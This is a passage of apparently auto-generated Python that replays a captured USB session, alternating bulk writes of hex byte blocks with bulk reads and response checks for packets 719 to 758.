b\"\\x06\\x4B\\xD0\\xA4\\xA7\\x84\\xAB\\xD4\\xE2\\x03\\x1F\\xD7\\xC4\\xD7\\x70\\xE9\"\n b\"\\xCF\\x6C\\xD3\\x94\\x0B\\x41\\xD4\\x65\\x00\\x5B\\x46\\x69\\xB6\\xC8\\x10\\x9D\"\n b\"\\x5A\\x73\\x69\\x5E\\x2D\\x7E\\xA6\\x59\\x26\\xD5\\x1B\\x77\\x7B\\x43\\x4D\\x96\"\n b\"\\xCE\\xC4\\x8B\\x64\\xAE\\x0E\\xC3\\xD8\\x9D\\x18\\x7D\\x22\\x98\\xA5\\xAF\\xE2\"\n b\"\\xC0\\x50\\x5D\\xB8\\xE9\\x72\\xB8\\xE4\\xEF\\xCD\\x30\\xA1\\x0E\\xE7\\x81\\xAA\"\n b\"\\xAA\\x6C\\xEA\\xFA\\x46\\xCA\\xD2\\xCD\\x0C\\x70\\xD8\\xE6\\x4B\\x1C\\x3F\\x9E\"\n b\"\\x27\\x1A\\x99\\x8A\\x35\\x63\\x8A\\x67\\xD0\\x33\\x69\\x6D\\x06\\xC4\\x3C\\x90\"\n b\"\\x38\\x36\\x26\\x6A\\x8D\\xC8\\xAF\\xBB\\xD2\\x88\\x58\\x45\\x5A\\x6E\\x1D\\xC6\"\n b\"\\xCE\\x94\\xA6\\x90\\x26\\x3B\\xCD\\x12\\x24\\x10\\x27\\xB2\\xB9\\xF4\\x60\\xBC\"\n b\"\\xB0\\xFA\\xCF\\xD5\\x07\\x7A\\x40\\x6F\\x15\\xE5\\x3A\\x68\\x1E\\x80\\x21\\x9D\"\n b\"\\xEE\\x92\\x6D\\x91\\x03\\x6E\\x18\\xC6\\x31\\x00\\x5B\\x35\\x6D\\xFC\\x4C\\x64\"\n b\"\\xD9\\xF0\\x4A\\xBD\\x0A\\x57\\xD4\\x60\\xF4\\x45\\x67\\x00\")\n # Generated from packet 719/720\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 719/720\")\n # Generated from packet 721/722\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\x8E\\x6F\\x7E\\x1D\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\x44\\x62\\x9F\\x87\\x95\\x93\\xC6\"\n b\"\\x2B\\xF7\\x05\\x3E\\x8D\\xB6\\x63\\x8C\\x0C\\xE2\\xC2\\xE1\\x6F\\xEA\\xB1\\x64\"\n b\"\\x44\\x31\\x15\\x05\\x68\\x45\\x61\\x22\\x0A\\xC0\\xAA\\x24\\xC3\\x77\\xE9\\xCE\"\n b\"\\x7C\\x4E\\xB4\\x40\\x61\\xFB\\x0B\\xF6\\x1F\\x6C\\x5E\\x9C\\xBF\\x6B\\x1A\\x3D\"\n b\"\\xA6\\x78\\xAA\\xDA\\x43\\xE4\\xB0\\x78\\x91\\x37\\x4A\\xD8\\x08\\xFB\\x12\\x13\"\n b\"\\x81\\x6B\\x86\\x47\\x8F\\xD0\\xA0\\x06\\x76\\x87\\xBC\\x76\\xEF\\x46\\x60\\x1A\"\n b\"\\x87\\x6D\\x37\\xF8\\x20\\xAA\\x83\\x1D\\xC0\\xD8\\xB6\\xE7\\x03\\xED\\x70\\x8B\"\n b\"\\x60\\x03\\x95\\x50\\x48\\x33\\xD5\\xF2\\x40\\x74\\x95\\x18\\x3A\\xD8\\xE8\\xF1\"\n b\"\\x18\\x88\\xB8\\xF0\\x75\\x48\\x73\\xD6\\x69\\x90\\x27\\xF3\\xA1\\x03\\x58\\xFC\"\n b\"\\x1D\\x36\\x8C\\xAE\\xD1\\x6E\\x4B\\x19\\xC1\\x1D\\xC2\\xBE\\x05\\x13\\xD4\\x23\"\n b\"\\x0B\\x1C\\x4B\\xCE\\x7F\\x93\\x77\\x9A\\x06\\x1F\\xA1\\x7A\\x8C\\x53\\x6B\\x69\"\n b\"\\x30\\x87\\x9D\\x26\\x9D\\x68\\xCC\\x0B\\x34\\x88\\x32\\x84\\x81\\x18\\xC3\\x7D\"\n b\"\\x5F\\x64\\xD9\\x78\\xC0\\xBE\\x3C\\xB3\\xEE\\x20\\x8B\\xA7\\x8E\\xFE\\x6F\\x05\"\n b\"\\xF4\\x35\\xD6\\xA0\\x02\\xE5\\x51\\x23\\xF0\\xDA\\x46\\x3C\\xAC\\x82\\x8B\\xA2\"\n b\"\\xE4\\x2C\\x70\\xCB\\xE4\\xE7\\x8D\\xE3\\xC4\\x31\\x2C\\xD0\\x58\\x6E\\x6E\\x41\"\n b\"\\x9E\\x50\\x42\\x37\\x34\\x2E\\x13\\xEB\\xE0\\xCD\\xF2\\xB8\\x2B\\x48\\x3A\\x86\"\n b\"\\x17\\x99\\xA8\\x59\\xF5\\xBC\\x72\\x68\\xA6\\x06\\x02\\x02\")\n # Generated from packet 723/724\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 723/724\")\n # Generated from packet 725/726\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD2\\x6C\\x01\\xCD\\xF0\\x71\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8A\\x83\\x30\\x8A\\x0D\\x32\\xEF\\xC7\"\n b\"\\x69\\x0D\\xF3\\xCF\\xAE\\xA2\\xE6\\x49\\xC2\\x5D\\x2E\\x98\\x66\\x88\\xA3\\x0B\"\n b\"\\x81\\x9A\\x03\\x86\\xBE\\x84\\xE8\\xD0\\xF3\\x22\\x15\\xE1\\x21\\x25\\xB4\\x40\"\n b\"\\xC4\\xFB\\x49\\xFE\\x32\\x0D\\x56\\x91\\xCA\\xF0\\x87\\x87\\xDB\\xD8\\xB8\\x80\"\n b\"\\xD0\\xF4\\xB6\\x51\\xFB\\x46\\xB2\\x98\\xF9\\x79\\x71\\xDA\\x20\\xA7\\x3D\\x2F\"\n b\"\\xAB\\xE8\\xC0\\xD2\\xCB\\xBD\\x4F\\x01\\x80\\x60\\x04\\xDF\\x37\\xE2\\xFA\\xAF\"\n b\"\\x07\\x48\\x7F\\x59\\x6D\\xA2\\x6D\\x79\\xB5\\xD5\\x56\\xBF\\xA7\\x9E\\xBA\\xE6\"\n b\"\\x93\\xEF\\x54\\x8B\\x9F\\xFB\\xA2\\x5F\\x25\\x73\\x41\\x89\\xBC\\x6B\\x89\\xB6\"\n b\"\\x7C\\x02\\x25\\x84\\x56\\xF7\\xE9\\x52\\xE1\\x7B\\x78\\xB9\\x44\\x2C\\xBB\\x9E\"\n b\"\\xB0\\x39\\x4A\\x01\\xE1\\xE3\\x5E\\x5E\\x41\\xB1\\x01\\xD5\\x3B\\x5F\\x97\\x64\"\n b\"\\x69\\xA1\\xC6\\x24\\xC8\\x1B\\x1C\\x4F\\x9E\\x2E\\x57\\xC4\\xE6\\x3F\\xA5\\xDA\"\n b\"\\x27\\x50\\x38\\x62\\xBF\\xA3\\x4D\\xFA\\x69\\x0C\\x64\\x94\\xE4\\xB2\\x4C\\x18\"\n b\"\\x61\\x7D\\x91\\x07\\x81\\x06\\xEF\\xB2\\x10\\x1C\\xA6\\x6D\\xB7\\x8E\\x49\\x0E\"\n b\"\\x6B\\x4D\\xCE\\x9D\\xEB\\xD5\\xD9\\x92\\xD5\\x2E\\x48\\x5B\\xF1\\x90\\xA2\\x48\"\n b\"\\x45\\x4D\\x16\\x51\\x24\\x86\\xDB\\x33\\xBF\\x49\\xB2\\x43\\xB0\\xA4\\xDB\\xDA\"\n b\"\\x16\\x77\\x8B\\x39\\x5F\\xDE\\x29\\x92\\x1D\\xDC\\x10\\xA8\\x3C\\x4E\\xB2\\xD5\"\n b\"\\x66\\xC5\\x58\\x76\\xAD\\xF1\\x99\\xB0\\x9C\\x88\\xAE\\xE1\")\n # Generated from packet 727/728\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 727/728\")\n # Generated from packet 729/730\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x72\\xFA\\x62\\x2F\\x84\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD9\\x03\\x3B\\xE7\\xD1\\x06\\x2C\\x23\"\n b\"\\xD2\\x93\\x3E\\xC6\\x17\\xE7\\xC1\\xF6\\x3A\\xAE\\xCE\\x0D\\x24\\x1A\\x2A\\xFE\"\n b\"\\xF4\\xB4\\x25\\xE3\\x37\\xCD\\xEB\\xA7\\xA7\\x89\\x3C\\xF7\\xA7\\x12\\xF0\\x2A\"\n b\"\\x53\\x08\\xD3\\xBF\\x90\\x92\\x77\\x9B\\x73\\xF4\\x4F\\xB3\\x89\\x91\\xA5\\x54\"\n b\"\\x5F\\xF0\\xAC\\xE5\\x7F\\x5B\\x88\\x1A\\x01\\x3C\\x1C\\x46\\xF0\\x2C\\x2E\\xBC\"\n b\"\\x9A\\xD6\\xFD\\x0D\\xE7\\x2F\\x1B\\x0D\\xB7\\x3E\\xA2\\x71\\x3A\\x04\\x4D\\xE8\"\n b\"\\x69\\x53\\xF5\\xD5\\x92\\x6B\\x44\\x13\\x0C\\xF5\\x43\\x07\\x4A\\x37\\x12\\x01\"\n b\"\\x7B\\xCE\\x10\\xF8\\x40\\xCD\\x05\\xF0\\x06\\x18\\xCC\\x15\\x32\\x66\\x79\\xA1\"\n b\"\\x2D\\x94\\xFF\\x81\\x76\\xF1\\x5D\\xE6\\x80\\xCD\\x90\\x41\\xCD\\xBA\\xDC\\x3B\"\n b\"\\xFF\\x93\\xCF\\xEE\\x59\\xFE\\xB6\\x79\\x78\\xB4\\x71\\xE2\\x51\\xED\\x00\\xD6\"\n b\"\\x9E\\x02\\x10\\x01\\xDA\\x72\\x61\\x97\\x91\\x3A\\xE8\\xBE\\x95\\x15\\x39\\x07\"\n b\"\\x49\\xF2\\xCB\\x04\\x86\\x68\\x22\\xE3\\xE0\\xB5\\xD4\\x57\\x53\\x62\\x70\\x34\"\n b\"\\x44\\x5D\\x61\\x3B\\xFE\\x23\\x2B\\x14\\xB7\\xA4\\x08\\x49\\x37\\x04\\x41\\xE0\"\n b\"\\xC1\\x52\\xDE\\x01\\xA5\\x09\\x78\\xE1\\x75\\x68\\x5D\\x16\\xE2\\x28\\x05\\x2E\"\n b\"\\x13\\x7C\\xAC\\x3B\\x14\\x9F\\xE0\\xB4\\x86\\x22\\x97\\x88\\x13\\xFD\\x00\\x0F\"\n b\"\\xB2\\xFB\\xDD\\x9C\\x55\\x09\\x67\\x7F\\xDF\\x05\\x61\\x93\\x7C\\x74\\xFB\\x03\"\n b\"\\x9E\\xF8\\xEA\\x96\\xA0\\xCF\\xEC\\xB3\\x0C\\x2D\\x7A\\x27\")\n # Generated from packet 731/732\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 731/732\")\n # Generated from packet 733/734\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFB\\x22\\x37\\x07\\x4F\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA5\\xDA\\x06\\x71\\x46\\x1A\\x33\\x5E\"\n b\"\\x01\\xF7\\x13\\x33\\x26\\xE7\\x1A\\x00\\xF0\\x64\\x96\\x52\\x5C\\x73\\xEE\\xB0\"\n b\"\\xD7\\x21\\x46\\x62\\xE6\\x69\\xFA\\x8F\\x5B\\x70\\x7C\\x5D\\x3E\\x9B\\xC0\\x55\"\n b\"\\x4A\\xBB\\x04\\x81\\xC1\\x24\\x53\\x98\\xA5\\xAC\\x06\\x6E\\x8B\\x48\\x70\\xBE\"\n b\"\\x52\\x1D\\xD1\\xDF\\xD1\\xCE\\x16\\xEF\\x1E\\x1C\\x31\\x6F\\xB2\\x86\\x79\\x84\"\n b\"\\x76\\x5D\\x1A\\xA3\\x84\\xDF\\x39\\xE1\\xD2\\xDE\\x50\\xD2\\xE5\\xF0\\x0F\\x80\"\n b\"\\x87\\x1A\\xDC\\xF9\\xDD\\x1C\\x2C\\xAF\\x8B\\xF5\\x40\\x4D\\x11\\x24\\x7A\\x97\"\n b\"\\xBB\\xBD\\xAE\\x49\\x1A\\x18\\xB8\\x5D\\x3C\\x3B\\x8D\\xCF\\x54\\xE2\\x7F\\x74\"\n b\"\\xFF\\x7B\\x78\\x14\\xF0\\xA1\\x85\\x3F\\x63\\x31\\x92\\xB2\\x62\\xE3\\x09\\x3B\"\n b\"\\xB6\\x1E\\x97\\x52\\x6D\\x35\\x35\\x37\\xFD\\x13\\xB8\\x88\\x0D\\xA9\\xED\\x37\"\n b\"\\x41\\x83\\x11\\x05\\x23\\x84\\x2D\\xC8\\x2B\\x2A\\xA1\\xC0\\x5A\\xE6\\x7F\\x6C\"\n b\"\\xBF\\x7E\\x98\\xB3\\xFF\\x6F\\xE9\\x85\\xB7\\x41\\x1B\\x3C\\xEC\\x8B\\x2C\\xE9\"\n b\"\\xC2\\x16\\xCD\\xAA\\x70\\x9C\\x71\\x6E\\x7B\\xAB\\xE0\\x23\\x33\\x69\\x70\\x40\"\n b\"\\x3D\\x73\\xE5\\x4B\\x2C\\x30\\xC4\\x4F\\xAE\\xA2\\x7E\\xE3\\xE6\\x09\\xE0\\x3A\"\n b\"\\xD6\\x50\\xDF\\x55\\xE0\\x35\\x6B\\x5E\\x1A\\x50\\x35\\x04\\xAF\\xCC\\xD5\\x0A\"\n b\"\\x1A\\xA3\\x16\\xD9\\xA1\\x67\\xD9\\x6E\\x5E\\xA1\\xEB\\x6C\\x5A\\x83\\xA3\\x93\"\n b\"\\x11\\x22\\xE4\\x6E\\xD2\\xA1\\xFB\\xDA\\xA0\\xEC\\x20\\xD3\")\n # Generated from packet 735/736\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 735/736\")\n # Generated from packet 737/738\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3F\\x17\\xE5\\xFD\\x4A\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x33\\xCD\\x34\\xA6\\x7C\\x41\\xB9\\x70\"\n b\"\\xFD\\x5D\\xDF\\xE3\\xB6\\x4D\\x74\\x9E\\xC6\\x8C\\xE2\\x97\\xB7\\x53\\x71\\xE7\"\n b\"\\x7A\\x57\\x03\\x57\\x3F\\xFF\\x06\\x9E\\xD4\\x6F\\xB9\\xA6\\xFC\\x90\\xA8\\x6E\"\n b\"\\xCB\\x68\\xFC\\x69\\xAC\\xA9\\x1B\\x3D\\xA6\\x10\\x92\\xF7\\xD8\\x65\\xD2\\xFF\"\n b\"\\x29\\x67\\x34\\xB0\\x53\\xAE\\x7A\\x84\\x7C\\xFB\\xB6\\x5C\\x7E\\x5C\\xAE\\x14\"\n b\"\\x72\\x03\\x29\\x78\\x89\\x2B\\x02\\x09\\x07\\x7D\\x50\\x22\\x5A\\x3B\\x25\\xFB\"\n b\"\\xDF\\x86\\x6E\\x5D\\x12\\x8B\\xCC\\x4E\\x9D\\x08\\xBE\\xBA\\xDF\\x51\\xD6\\x17\"\n b\"\\xEA\\xB6\\xAB\\x80\\x77\\xED\\xCE\\xC9\\xAF\\xBE\\x84\\x19\\x00\\x36\\x0D\\xB7\"\n b\"\\x8B\\x2A\\x0E\\x18\\xBF\\x06\\xBD\\xAE\\x6D\\x4D\\x65\\x66\\x27\\x70\\xA3\\xC2\"\n b\"\\x12\\x1B\\xC8\\xE5\\xC4\\xAB\\x5F\\xFC\\xEE\\xC7\\x73\\xD1\\x00\\x27\\x75\\x67\"\n b\"\\x52\\x07\\xBF\\x07\\x52\\x46\\xC2\\x34\\x5F\\x23\\x38\\xCF\\xF4\\xEF\\x8B\\x4F\"\n b\"\\xE3\\x7A\\xB1\\x68\\x1E\\x04\\xB1\\xC7\\xEB\\x2B\\xAE\\x6A\\xAC\\xE7\\xC5\\xBA\"\n b\"\\xE7\\xD1\\x0B\\x61\\x57\\x87\\x38\\xC9\\x73\\xBF\\x94\\x91\\xE1\\x70\\x58\\xB4\"\n b\"\\x3B\\x41\\x05\\x0E\\x4B\\x29\\xD3\\x5D\\x64\\xD8\\x83\\x49\\xD2\\x1C\\x5B\\x00\"\n b\"\\xA3\\x14\\x98\\xBF\\x36\\x8F\\x44\\xAF\\x6A\\xD0\\xD2\\xC3\\xDD\\xE3\\xFE\\x35\"\n b\"\\xD6\\x86\\xD5\\x1D\\x04\\x4C\\x7B\\xA1\\x19\\x16\\x59\\x0F\\x16\\xCF\\xE5\\x9B\"\n b\"\\x1C\\x19\\x8F\\x7D\\x0B\\x0D\\x02\\x18\\xD1\\x25\\xA1\\xBA\")\n # Generated from packet 739/740\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 739/740\")\n # Generated from packet 741/742\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\xC9\\x80\\xC1\\x77\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\x17\\x15\\xCF\\x19\\x84\\x15\\xF1\"\n b\"\\xAF\\x6B\\xB4\\x42\\x2E\\x7D\\x0B\\xE6\\x10\\xA0\\x5E\\x9E\\xF0\\xED\\x18\\x39\"\n b\"\\xB7\\x22\\x35\\x68\\x4B\\xF6\\xF6\\x7C\\x87\\xC3\\xED\\x43\\x4D\\xAB\\x12\\x11\"\n b\"\\xCE\\x6C\\xEB\\x5B\\x5D\\xA6\\xF5\\xFC\\xB6\\xAD\\x1A\\xB9\\x64\\xC2\\x02\\xFA\"\n b\"\\x14\\x12\\x2A\\x05\\xFA\\xA8\\xCB\\xAA\\x1B\\x40\\x87\\x34\\x1A\\xE1\\xFA\\x52\"\n b\"\\xBB\\x08\\x37\\xA4\\x63\\x03\\xD9\\xCA\\x6C\\x94\\x9E\\x92\\x9E\\x80\\x3E\\xAD\"\n b\"\\xF6\\xE9\\x45\\xEA\\xA3\\x04\\xB7\\x22\\x26\\x10\\x69\\xB2\\xD6\\xE4\\xDF\\x18\"\n b\"\\x12\\x0A\\x8C\\xE0\\xD2\\x06\\x95\\xFE\\x0D\\x79\\x40\\x46\\x71\\xD8\\xD7\\xDC\"\n b\"\\x95\\xF9\\xDB\\x8E\\xAB\\x50\\x1C\\xF9\\x3C\\x77\\x18\\xEC\\x62\\x61\\x5B\\xA4\"\n b\"\\x64\\xB8\\xBD\\xA3\\xF1\\x3F\\xFA\\xEB\\x6F\\x3A\\xF3\\xB2\\x81\\xB7\\x44\\x6C\"\n b\"\\x57\\xE4\\x3E\\x86\\x03\\x63\\xDD\\xB8\\x1A\\x00\\xE5\\xBA\\x6A\\xC3\\x5A\\xF6\"\n b\"\\x00\\xFD\\x8B\\x2F\\xFE\\x3E\\x1B\\xD3\\x1F\\xF4\\x48\\x75\\xB8\\x71\\x8F\\x16\"\n b\"\\x06\\x6B\\x66\\x45\\x97\\xCE\\x8F\\x5A\\xAD\\x8E\\xCB\\x87\\x4D\\x7E\\x11\\x5F\"\n b\"\\x40\\xD5\\x76\\x66\\x39\\x87\\xE7\\xF0\\xCF\\xB8\\x94\\xC5\\x42\\xB4\\x2A\\x98\"\n b\"\\x44\\x31\\x86\\x35\\x34\\x04\\xC7\\xD6\\x34\\x08\\x4F\\xF4\\xBE\\x46\\x78\\x41\"\n b\"\\xE4\\xB5\\xEE\\xEE\\xEC\\x9F\\xE3\\x1F\\x30\\x0B\\xDF\\x83\\x85\\xDB\\xEB\\x29\"\n b\"\\x9C\\xEA\\x7C\\x22\\xA9\\x71\\xB8\\x4C\\x07\\xA5\\x52\\x79\")\n # Generated from packet 743/744\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 743/744\")\n # Generated from packet 745/746\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\xB4\\xF3\\x35\\x02\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\x48\\xB2\\x11\\xDF\\x47\\x0A\\xA5\"\n b\"\\xD1\\x76\\x97\\x27\\x9D\\x0A\\x58\\x87\\x4E\\x4D\\xA4\\x9F\\xC3\\x51\\x02\\xC9\"\n b\"\\x51\\x42\\x63\\x82\\xD6\\xB5\\x21\\x52\\xD2\\x13\\x59\\x16\\xBE\\x2E\\x37\\xC9\"\n b\"\\x9F\\x4E\\x97\\x3E\\x13\\x1A\\x85\\x93\\xD6\\x44\\xA5\\x21\\xAD\\xF6\\x56\\xBC\"\n b\"\\x82\\x5F\\xAE\\xA8\\xFF\\x5E\\x33\\x94\\x36\\xC3\\xA3\\x23\\x92\\x68\\x76\\x79\"\n b\"\\x80\\x37\\x6F\\x4B\\x46\\x06\\x09\\x95\\x87\\xBA\\xE4\\x9C\\x3D\\xE4\\x58\\x56\"\n b\"\\x3F\\x3E\\xF0\\x22\\x98\\x1E\\xF0\\xDB\\xEB\\x0B\\xD7\\x79\\x7B\\xC1\\x25\\xF4\"\n b\"\\x94\\x1E\\x8B\\x38\\xC8\\x4E\\x2A\\xBE\\xFE\\x5F\\xA9\\x9E\\xE2\\x0F\\xFD\\xAB\"\n b\"\\xC9\\x19\\x12\\xA3\\xF7\\x3A\\x2D\\xBD\\x57\\x61\\xC0\\x20\\x2B\\xF1\\xD2\\x6A\"\n b\"\\x6C\\x0A\\x8E\\xB2\\x21\\xAA\\x42\\x97\\x60\\xD7\\xCA\\x22\\x04\\x3B\\xFA\\x09\"\n b\"\\x18\\xE9\\x3A\\x3D\\x37\\x95\\x98\\xDB\\xC9\\x1F\\xF3\\xD8\\x47\\xD2\\xFA\\x8F\"\n b\"\\xEA\\x19\\x6E\\x09\\x26\\x00\\x5D\\xA3\\x88\\x21\\x30\\x29\\x81\\x82\\xBD\\xFD\"\n b\"\\xAD\\x5C\\x24\\xF7\\x41\\xB3\\xDD\\xB2\\x3A\\xCD\\x4E\\x79\\x61\\x5F\\x89\\x53\"\n b\"\\x42\\xC5\\xAE\\xC9\\x74\\x54\\xA4\\x30\\x0F\\x33\\x50\\x31\\xC6\\xBD\\x74\\x71\"\n b\"\\xEA\\xD7\\xAA\\x0E\\x21\\x0A\\xB6\\x04\\x6E\\x2F\\x43\\x44\\x95\\x0C\\xE1\\xAC\"\n b\"\\xFA\\xCE\\xDF\\xFA\\xE2\\xF4\\x74\\x67\\x33\\x86\\x98\\xE5\\xA5\\xF4\\x2D\\x63\"\n b\"\\xD7\\x11\\x8D\\xCF\\xED\\x6C\\x3D\\x6C\\x21\\x1C\\x7A\\x76\")\n # Generated from packet 747/748\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 747/748\")\n # Generated from packet 749/750\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\x21\\x03\\x3A\\xD7\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5A\\xC0\\xED\\xE7\\x38\\x49\\x2B\\xE0\"\n b\"\\x1D\\x98\\xDC\\x99\\x83\\xFA\\xA2\\x17\\x5B\\x7B\\x29\\xBC\\x83\\x2E\\xA0\\x5A\"\n b\"\\xEA\\xAC\\x90\\x41\\xE4\\x58\\x6B\\x78\\x0A\\x4C\\x30\\x39\\xAC\\x27\\x08\\x81\"\n b\"\\x4B\\x67\\xEC\\x55\\xF5\\x77\\x7D\\xD4\\xE8\\x2D\\x9D\\xB6\\xC2\\x51\\x12\\x70\"\n b\"\\x2C\\xA1\\xA7\\xC8\\xAB\\x30\\x84\\x36\\xBC\\x3D\\x09\\xAF\\x73\\xB5\\x5B\\x0E\"\n b\"\\x15\\x7A\\x06\\xD8\\x37\\xE4\\x3E\\x05\\x65\\x66\\xF7\\xFA\\x0B\\xFC\\x7C\\xEA\"\n b\"\\x8F\\x98\\x95\\xED\\x3C\\xD3\\xDE\\x6D\\x6B\\xDA\\x8C\\xD8\\x5F\\x37\\xE5\\x84\"\n b\"\\x56\\x56\\xE6\\x75\\x3D\\xD1\\x09\\x95\\x67\\xBF\\x30\\x67\\xE1\\x58\\x4A\\xDE\"\n b\"\\xAA\\x45\\xC6\\xB4\\xCA\\xAB\\x6C\\xB7\\x73\\x8C\\x70\\x8B\\x59\\x72\\xB2\\x43\"\n b\"\\xAB\\xE3\\x2F\\x42\\x70\\xE3\\x99\\xA9\\x3A\\xCE\\x6C\\x2C\\x80\\x2C\\xAC\\x13\"\n b\"\\x3C\\x9E\\x81\\x3F\\x80\\x9D\\xCC\\x61\\x62\\x94\\x51\\x08\\x62\\xF0\\xB1\\xB8\"\n b\"\\xE6\\xF2\\x9F\\x85\\x60\\x70\\x6F\\xFD\\xCB\\x28\\xF3\\x9D\\xC8\\xA3\\x9E\\xBF\"\n b\"\\x7D\\x80\\xE4\\x93\\x73\\x28\\xC0\\xC5\\x64\\x88\\x55\\xFC\\x00\\x25\\x5C\\x3B\"\n b\"\\x86\\xEC\\xB7\\x43\\x0F\\x13\\xBE\\xBE\\x58\\xA6\\x81\\x2B\\xDC\\xF2\\x33\\x32\"\n b\"\\x12\\x20\\x72\\x41\\xF1\\x20\\xDA\\xA9\\xA4\\x17\\x1E\\xCD\\xC9\\x5F\\x75\\x70\"\n b\"\\x81\\x1C\\x4A\\x70\\xDC\\x0D\\xDB\\xF4\\x3D\\x09\\xB4\\x11\\xD0\\xC0\\x6A\\x37\"\n b\"\\x1D\\x1D\\x60\\x32\\x8F\\xB7\\xB2\\xDD\\x13\\x77\\x61\\x98\")\n # Generated from packet 751/752\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 751/752\")\n # Generated from packet 753/754\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA1\\x66\\xB2\\xAE\\xE8\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\xB8\\x4F\\xED\\x05\\x73\\x43\\x85\"\n b\"\\x36\\x1B\\x75\\xAC\\x96\\xED\\xC2\\xB8\\x8F\\x4E\\xD2\\x4F\\x7D\\x00\\x60\\x36\"\n b\"\\x33\\x9E\\x0D\\x46\\x9A\\x18\\x9A\\x7F\\xEF\\xB5\\x29\\xF1\\x9B\\xEC\\xF9\\x41\"\n b\"\\x35\\x52\\xD3\\xDA\\xC1\\x7B\\xE1\\x23\\x99\\x29\\x76\\x5C\\xD4\\x13\\x9B\\xCB\"\n b\"\\x16\\x1A\\xF0\\x21\\xDC\\x41\\x4B\\x97\\x01\\x58\\x90\\x87\\x9D\\xB9\\x76\\x3D\"\n b\"\\x78\\x94\\x69\\x03\\xE4\\xC1\\xE1\\x73\\xC3\\x9D\\x3E\\x8B\\x3C\\x4E\\xB3\\x6C\"\n b\"\\xD8\\xBF\\xC7\\xD9\\x9D\\xFA\\x48\\x02\\xD9\\x17\\x1E\\x3B\\xE2\\x44\\x12\\x8E\"\n b\"\\x81\\x84\\x61\\xC4\\xB5\\xA0\\x79\\xC9\\xFC\\xDC\\x1F\\x44\\x70\\x70\\x2B\\xB7\"\n b\"\\x24\\x1F\\x83\\xEC\\x5D\\x5B\\x8D\\x58\\x64\\x48\\x8C\\x6D\\x75\\x7E\\xD2\\x28\"\n b\"\\xA9\\x63\\xCA\\xA8\\x0A\\xBF\\x93\\x87\\x30\\xA5\\xBB\\x3A\\x0E\\x7F\\x2D\\xB5\"\n b\"\\xCB\\xD0\\x13\\x41\\x40\\x6F\\x1A\\xB5\\xC9\\x4E\\xB2\\x7E\\x3A\\x83\\x7F\\x8D\"\n b\"\\xC5\\x4B\\xCC\\x96\\x17\\x20\\xFE\\x81\\xA6\\xCC\\x4F\\x44\\x1B\\xED\\xC9\\xBF\"\n b\"\\x9C\\x9A\\x14\\x56\\x70\\x84\\x5F\\x0E\\x18\\x69\\x65\\x60\\xBA\\x06\\x2F\\xB4\"\n b\"\\x06\\x59\\x45\\xC8\\x90\\xBF\\x6C\\xC1\\xF8\\x55\\xF0\\x03\\xCE\\xD3\\xB5\\x20\"\n b\"\\xC9\\x70\\xAC\\xEA\\xEE\\x8F\\x82\\x49\\x0C\\x7B\\xFF\\xA3\\xBF\\xE8\\x47\\xF8\"\n b\"\\x00\\xD6\\xC3\\x1D\\x09\\xE9\\x3B\\x21\\xA6\\x10\\x18\\xB3\\x55\\x32\\x2E\\xA0\"\n b\"\\xB2\\x0D\\xD5\\xE5\\x7F\\x06\\x18\\x8C\\xB3\\xB1\\x0A\\x74\")\n # Generated from packet 755/756\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 755/756\")\n # Generated from packet 757/758\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x51\\x06\\xD3\\xB9\\x39\\x50\\x00\\x00\"\n 